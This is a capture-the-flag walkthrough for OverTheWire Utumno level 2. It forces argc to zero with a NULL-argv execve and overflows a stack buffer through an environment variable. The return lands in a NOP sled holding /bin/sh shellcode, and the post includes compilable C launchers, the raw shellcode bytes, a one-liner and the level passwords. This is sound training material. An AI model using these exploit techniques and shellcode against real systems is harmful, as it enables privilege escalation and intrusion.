OverTheWire Utumno Level 2 → 3 tutorial!!
Login
Use the password from Level 1 → 2:
ssh utumno2@utumno.labs.overthewire.org -p 2227
# password: ceewaceiph
Then move to the game folder:
cd /utumno
Task
Binary: /utumno/utumno2
- Running it prints only:
Aw..
and exits. - Disassembly shows a weird argc check and a copy from
envp
into a small stack buffer usingstrcpy
. - Goal: bypass the
Aw..
early-exit, then overflow the stack via an environment variable, redirecting execution to our /bin/sh shellcode.
Source Code / Disassembly Notes
From gdb
:
main:
cmp [ebp+0x8], 0x0 ; if (argc == 0) continue, else print "Aw.." and exit
je <take_env_branch>
puts("Aw.."); exit(1)
<take_env_branch>:
mov eax, [ebp+0xc] ; eax = envp
add eax, 0x28 ; skip to the 10th pointer (index 9)
mov eax, [eax] ; eax = envp[9]
push eax ; src
lea eax, [ebp-0xc] ; dst = small local buffer
push eax
call strcpy ; strcpy(dst, envp[9]) → overflow
...
ret
Key observations:
- Program only proceeds if
argc == 0
(which is never true for a normal exec). - It then copies
envp[9]
(the 10th environment string) into a 12-byte stack buffer withstrcpy
→ classic overflow. -
We’ll launch the program via
execve()
withargv = NULL
to forceargc==0
, and craftenvp
so that:envp[9]
contains the EIP-smashing payload.- Another
envp[k]
holds a NOP sled +/bin/sh
shellcode we can jump to.
Exploitation Steps
1) Force argc == 0
and control envp
Write a tiny launcher that calls execve("/utumno/utumno2", NULL, envp)
:
// execve.c
#include <unistd.h>
int main(void) {
char *envp[] = { "", "", "", "", "", "", "", "", "",
"AAAABBBBCCCCDDDDEEEEFFFFAAAA",
NULL };
execve("/utumno/utumno2", NULL, envp);
return 0;
}
Compile and run:
gcc -m32 -static execve.c -o execve
./execve
# Segmentation fault (expected)
strace
/gdb
show EIP control; ~24 bytes reach the return address (you’ll see 0x45454545
if you use 'E'
padding).
2) Stage shellcode in another env var
We don’t have much room in the overflow string, so put the shellcode in a separate env var (with a small NOP sled), and make the overflow overwrite the return address to jump into it.
32-bit /bin/sh
shellcode:
; shell.asm (32-bit)
global _start
section .text
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
Assemble + link + extract bytes (one typical pipeline):
nasm -f elf32 shell.asm
ld -m elf_i386 -s -o shell shell.o
objdump -d ./shell.o | grep '[0-9a-f]:' | grep -v 'file' \
| cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' \
| sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
# -> "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
3) Build the final launcher
envp[8]
(or any slot you like) → NOP sled + shellcodeenvp[9]
→ overflow string ending with the little-endian return address pointing into the sled
Example (addresses from the provided run):
// code.c
#include <unistd.h>
int main(void) {
char *envp[] = {
"", "", "", "", "", "", "", "",
/* NOP sled + shellcode */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
/* overflow (24 bytes to EIP) + RET = 0xffffdfb0 */
"AAAABBBBCCCCDDDD\xb0\xdf\xff\xff",
NULL
};
execve("/utumno/utumno2", NULL, envp);
return 0;
}
Compile and run:
gcc -m32 -static code.c -o code
./code
$ whoami
utumno3
$ cat /etc/utumno_pass/utumno3
zuudafiine
Why 0xffffdfb0
? In this run, gdb
showed the sled around 0xffffdfb0
:
x/200x $esp
...
0xffffdfa0: 0x90909000 0x90909090 0x90909090 0x90909090
0xffffdfb0: 0x90909090 0x90909090 0x50c03190 0x732f2f68
...
We simply return into the sled.
Password
From my run:
zuudafiine
Quick One-liner
cd /tmp && mkdir -p u2 && cd u2 && cat > code.c <<'EOF'
#include <unistd.h>
int main(void){
char *envp[] = {
"", "", "", "", "", "", "", "",
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
"AAAABBBBCCCCDDDD\xb0\xdf\xff\xff",
NULL};
execve("/utumno/utumno2", NULL, envp);
return 0;
}
EOF
gcc -m32 -static code.c -o code && ./code && whoami && cat /etc/utumno_pass/utumno3
Troubleshooting
- Still seeing “Aw..” and exit? You didn’t force
argc==0
. Launch via a helperexecve()
withargv = NULL
. - No crash / no EIP control? Ensure
envp[9]
contains at least 24 bytes before your 4-byte return address (little-endian). -
Shellcode doesn’t run?
- Make sure your return address points into the NOP sled (confirm with
gdb x/200x $esp
). - Avoid bad bytes in environment strings.
- Use more NOPs if needed; adjust the address a little (±0x10).
- Make sure your return address points into the NOP sled (confirm with
- 32-bit toolchain errors? Compile with
-m32
and assemble with-f elf32
.
Congrats 🎉 You exploited an envp-based stack overflow gated by an argc==0 trick—great prep for more advanced stack games!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨